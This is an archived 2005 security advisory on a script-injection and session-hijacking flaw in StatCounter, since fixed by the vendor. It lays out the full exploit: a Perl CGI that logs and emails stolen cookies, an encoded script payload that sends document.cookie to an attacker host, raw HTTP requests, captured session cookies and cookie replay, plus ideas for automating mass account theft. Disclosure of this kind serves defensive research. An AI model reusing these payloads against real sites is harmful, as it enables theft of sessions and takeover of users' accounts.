what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

statcounter.txt

statcounter.txt
Posted Aug 6, 2005
Authored by Nathan House

Statcounter is susceptible to a script injection user session hijacking flaw.

tags | advisory
SHA-256 | 2f8b0a24361026c281e96ee3041e21b8b9c0a48c33866ddddd38ba3d356683b6

statcounter.txt

Change Mirror Download
Statcounter Script Injection User Session Hijack

Class
Input Validation & Session Hijack

Remote Local Published / Updated
Yes Yes 04th May 2005

Vulnerable
http://www.statcounter.com/
All users of websites using the statcounter services

Not Vulnerable
-

Discussion
Statcounter.com is one of the best and most well known website monitoring applications on the Internet. To use statcounter a webmaster registers on
the statcounter.com site and is provided with JavaScript that needs to be placed on every page on the webmasters website.

Unfortunately we have discovered a vulnerability that can disclose the authentication information of the webmaster and enable session hijacking for
any user of the statcounter.com service.


Exploit
Find the Victims
The attacker must first find webmasters who use statcounter. A search on Google reveals over 7500 websites;
http://www.google.co.uk/search?q=%22statcounter.com/counter/counter.js%22&hl=en

The following URL reveals that over ½ million websites link to it;
http://www.google.co.uk/search?sourceid=navclient&ie=UTF-8&rls=GGLD,GGLD:2004-50,GGLD:en&q=link:http%3A%2F%2Fwww%2Estatcounter%2Ecom

These sites will have a snippet of JavaScript something like the one below with the xxxxx specific to the website. The attacker needs to note these
for the exploit.

Collect the sc_project number
<!-- Start of StatCounter Code -->
<script type="text/javascript" language="javascript">
var sc_project=xxxxxx;
var sc_partition=5;
var sc_security="xxxxxxxx";
</script>
<script type="text/javascript" language="javascript" src="http://www.statcounter.com/counter/counter.js"></script><noscript><a
href="http://www.statcounter.com/" target="_blank"><img
src="http://c6.statcounter.com/counter.php?sc_project=xxxxxxx&java=0&security=xxxxxxx" alt="free website stats program" border="0"></a>
</noscript>
<!-- End of StatCounter Code -->

Create Collection Script on Hacked Server
The attacker then needs to place code on a server to capture the user’s session and cookie information. This would usually be on a previously hacked
box that would be accessed via proxy chaining to hide the identity of the attacker.

This is the perl script that I used;
#!/usr/bin/perl
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we’ll also email them too
open(COOKIES,”>>stolen_cookie_file”);

# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;

# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: nhouse\@stationx.net\n";
print MAIL "From: cookie_steal\@stationx.net\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR’}\n”;
close (MAIL);

Encode Injection Script
The following needs to be injected into the victims statcounter interface;
<script>(new Image).src='http://www.hackersite.net/code/steal.cgi?'+document.cookie;</script>

The injection code must first be encoded to bypass the filtering on statcounter like so;
%3cscript%3e(new+Image).src%3d'http%3a%2f%2fwww.hackersite.net%2fcode%2fsteal.cgi%3f'%2bdocument.cookie%3b%3c%2fscript%3e



Inject Script into statcounter.com
Using an http injection tool such as webscarab send the below request with the URL and sc_project of the site you wish to exploit.

SENT to statcounter;
GET
http://c6.statcounter.com:80/t.php?sc_project=XXXXXX&resolution=1400&camefrom=&u=http%3A//www.stationx.net/">%3cscript%3e(new+Image).src%3d'http%3a%2f%2fwww.stationx.net%2fcode%2fsteal.cgi%3f'%2bdocument.cookie%3b%3c%2fscript%3e<"&t=StationX%20%3A%20IT%20Security%20for%20Home%20and%20Business&java=1&security=1052fc0b&sc_random=0.8400863271678128
HTTP/1.1
Host: c6.statcounter.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1
Accept: image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.stationx.net/testme

RESPONCE
HTTP/1.1 200 OK
Date: Tue, 12 Apr 2005 12:23:01 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7a PHP/4.3.10
X-Powered-By: PHP/4.3.10
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: session_633549=1113308581%260; expires=Sun, 11-Apr-2010 12:23:01 GMT; path=/; domain=.statcounter.com
Content-Type: image/gif
X-Transfer-Encoding: chunked
Content-length: 49

GIF89a

This has injected the attackers script into statcounter.com

Victim Visits statcounter.com
The user then logs in and browsers his stats on statcounter.com. On going onto “Visitors Path” etc he will be presented with the usual page and
nothing will look odd. But within the HTML is the injected code;
<script>(new Image).src='http://www.hackersite.net/code/steal.cgi?'+document.cookie;</script>
This injected code sends the victims session and cookie information to hackersite.net

Attacker Receives Email Informing him of a Successful Cookie Capture
The steal.cgi script was run by the injected script under the permission of the user and therefore sends the sensitive cookies to hackersite.net.
steal.cgi stores the cookies in the stolen_cookie_file and then sends an email to the attacker informing him of his successful cookie capture.



Viewing the Cookies
On the hackersite.net server the attacker views the stolen_cookie_file.

[root@mybox code]# cat stolen_cookie_file
session_229250=1110786103%261;%20session_496772=1106836180%260;%20session_338392=1110875307%264;%20session_539366=1107633073%260;%2
0session_489304=1107634349%260;%20session_414326=1108060668%261;%20session_216378=1107795372%260;%20session_477272=1108166950%260;%
20session_363804=1110402936%260;%20session_171256=1110786095%261;%20session_171255=1110403004%260;%20session_323304=1110702751%260;
%20session_287198=1112191924%260;%20session_204609=1113307409%2644;%20session_629331=1113207119%2612;%20login=nathanxxx%268c3fc01a5
403ce96c14739501d08429d;%20session_633549=1113254694%2630;%20session_517651=1112484001%260;%20session_450219=1112660213%260;%20sess
ion_548662=1113002703%260;%20PHPSESSID=843d2da0f9366fb2cca3325defa051a0 from 149.254.200.215

The important session cookie tokens is;
Set-Cookie: PHPSESSID=ab2cfb38f1ba6c06016b90c51f523580; path=/
This then is used to hijack the session during the lifetime of the session.

Remembered Username and Password cookie;
login=nathanxxx%268c3fc01a5403ze96z14739501z08429d;
Even better if the user opts to remember his username and password we can use this cookie. This cookie can be used to authenticate into statcounter
at anytime.

Note the preauthorisation session tokens are not required for successful authentication;
Cookie: session_204609=1113298102%260; session_633549=1112657948%265; session_629331=1112256869%260 etc ….



Authenticate with the victims cookie
Create the cookie(s) in your browser or use webscarab to browse as normal.

GET http://my.statcounter.com:80/project/ HTTP/1.1
Host: my.statcounter.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: login=nathanxxx%268c3fc01a5403ce96c14739501d08429d;

RESPONCE
HTTP/1.1 200 OK
Content-Length: 3161
X-Content-Encoding: gzip
Date: Tue, 12 Apr 2005 09:44:35 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7a PHP/4.3.10
X-Powered-By: PHP/4.3.10
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: PHPSESSID=5e6e72d2cf199510c95c1cef07ef9912; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><title>StatCounter - My Projects [usernamexxx]</title> etc etc .....

Success for the Attacker
The attacker can now use the victims account in any way he wishes.

Please note the sessions have been altered in the advisory so they can’t be used again!

Additional Horrors!
If someone wished to really damage the statcounter site and really cause problems this attack could fully automated to capture 1000’s of users
accounts.
An attacker would simply need to write a script to search Google for victims, grab the victims project number, inject the code, grab the sessions
and cause untold automated changes to all victims. Without statcounter knowing of this vulnerability it would be very difficult for them to discover
what was causing the problem.




Solution
Aodhan Cullen of statcounter fixed this vulnerability after we informed them. The fix was written using the PHP function htmlentities(). So no more
worries.

Attempt now returns a security error in a gif.
HTTP/1.1 200 OK
Date: Fri, 29 Apr 2005 10:10:42 GMT
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: session_633549=1114769442%260; expires=Wed, 28-Apr-2010 10:10:42 GMT; path=/; domain=.statcounter.com
Content-Type: image/gif
X-Transfer-Encoding: chunked
Content-length: 49

GIF89a


Credit
Nathan House @ StationX


References
http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.statcounter.com/


Legal Notice
Copyright (©) 2005 StationX (UK) ltd. Referred to as “StationX” further more.
This advisory written by StationX can be distributed freely electronically without permission from StationX. This advisory may not be altered
without the express written permission of StationX. If you wish to print this advisory whole or in part in any none electronic form please contact
StationX for consent.

Disclaimer
This advisory to the best of our knowledge and given current information is correct and accurate at the date given above “Published / Updated”. Use
of any information in this advisory is for informational purposes only to help further the development of the security industry and help further
secure systems. The information in the advisory should NOT be used adversely. StationX, the author and any publishers gives no guarantees or
warranties at all with regards to any information in this advisory. Under no circumstances shall StationX, the author and any publishers be liable
in contract, tort, or otherwise, for any loss or damage whatsoever arising from use of or in any way connected with this advisory or any hyperlinked
website, including, without limitation, damages for loss of business, loss of profits, business interruption, loss of business information, loss of
programs or other data on the user's information handling system or otherwise maintained, or any other pecuniary loss (even where StationX, the
author and any publishers has been advised of the possibility of such loss or damage arising).





Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close